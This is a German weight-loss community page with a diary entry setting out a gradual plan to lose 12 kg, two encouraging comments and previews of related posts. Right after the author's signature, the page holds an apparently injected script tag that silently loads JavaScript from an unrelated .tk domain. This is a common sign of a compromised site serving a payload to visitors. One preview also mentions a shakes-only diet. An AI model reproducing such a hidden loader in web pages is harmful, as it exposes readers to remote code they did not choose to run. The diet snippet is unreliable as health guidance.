Zum Inhalt springen

Sie sind hier

Mein Abnehm-Plan

0  0
Am von im Ernährungstagebuch geschrieben

Ich habe schon viel zu oft versucht, abzunehmen. Meistens habe ich mir eine ziemlich kurze Zeit gesetzt "in einem Monat 10 Kilo" - das ist natürlich völlig unrealistisch, ich habe es ja auch nie geschafft. Diesmal sage ich mir:
 

  • Zeit nehmen, so viel mein Körper braucht (ich denke für 12 Kilo sind 6-8 Monate doch realistisch)
  • Sport machen (ich gehe ca. 3 mal die Woche ins Fitnessstudio)
  • viel trinken (ich trinke gern grünen Tee, durch die Bitterstoffe verringert der meinen Appetit - sehr praktisch Wink )
  • ab 18 Uhr nichts mehr essen
  • auf meinen Körper hören: Wann hab ich Hunger, wann bin ich satt?
  • Nicht drei Portionen essen, sondern nur eine Wink
  • Süßigkeiten bleiben im Schrank, aber mal eins darf man sich auch was gönnen
  • dranbleiben

 

So, ich denke, das klingt doch ganz vernünftig, oder? Ich bin gespannt, ob ich es diesmal durchhalte

Fuchs

<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script>

Dieser Eintrag beschäftigt sich (auch) mit einem oder mehrerer meiner Ziele: 
Vorheriger Ernährungstagebuch-Eintrag
Bild von Tag 25
Nächster Ernährungstagebuch-Eintrag
Bild von Tag 26 & Tag 27

Kommentare

Bild des Benutzers Marlen
0  0

guter plan Biggrin lg Smile

Bild des Benutzers Samira84
0  0

Hey! Dein Plan hört sich gut und vor allem realistisch an!

So ähnlich mache ich es auch, nur dass ich nicht gerne grünen Tee trinke ;-), nehme stattdessen Pfefferminztee...

Ich drücke dir auf jeden Fall die Daumen fürs Durchhalten...

Gruß...

Nach oben
Zur Hauptnavigation

Beiträge aus der Abnehmen-Community, die ebenfalls interessant sein könnten

Eintrag in ein Ernährungstagebuch von veilchen: Also gut nach längerer Abwesenheit ein kleines Update. Mir war ja schon selbst aufgefallen, dass meine Ernährung etwas dürftig ist, und sich gerade jetzt anders gestalten sollte. Ich habe also mit...
Eintrag in ein Ernährungstagebuch von kortes: ...minus 1,8 Kg. Da war ich heute morgen echt platt. Gut ich habe es schon im Laufe der Woche gemerkt, dass da richtig was geht. Meine neuen Hosen wurden mir weit, die Blusen schlabbern und ich bin...
Diät-Erfolg von kortes: Nun ist ganz viel ja immer eine Sache des Ausgangsgewichtes und bei mir waren das 90,5 Kg. Ich hatte schon mal 95,5 Kg. Das war mein absoluter Höchststand ohne Schwangerschaft. Nun, ich überlegte mir...
Motivation von laroro: Ich will in jeden Stuhl passen, ohne danach Druckschmerzen zu haben. Ich möchte in Freizeitparks gehen können und nicht befürchten müssen, dass ich nicht reinpasse. ​Ich möchte gesund alt werden um...
Eintrag in ein Ernährungstagebuch von claudia0904: liebe mitstreiter, ich bin hier noch  neu und schreibe zum ersten mal einen kommentar. bisher habe ich meine weight watchers punkte ziemlich genau eingehalten. wenn man alle kriterien erfüllt, die WW...
Eintrag in ein Ernährungstagebuch von mondili: ich hab in 3 wochen 5 kg abgenommen. ich habe nur shakes getrunken. in der ersten woche habe ich 3 kg abgenommen und in den nächsten wochen jeweils 1 kg. ab nächster woche möchte ich aber gemüse...

Gemeinsam abnehmen

Die Diät-Clique ist eine kostenlose Community rund ums Abnehmen:

Kostenlos abnehmen

Die Diät-Clique ist völlig kostenlos nutzbar. Du kannst

Neue Abnehmen-Tipps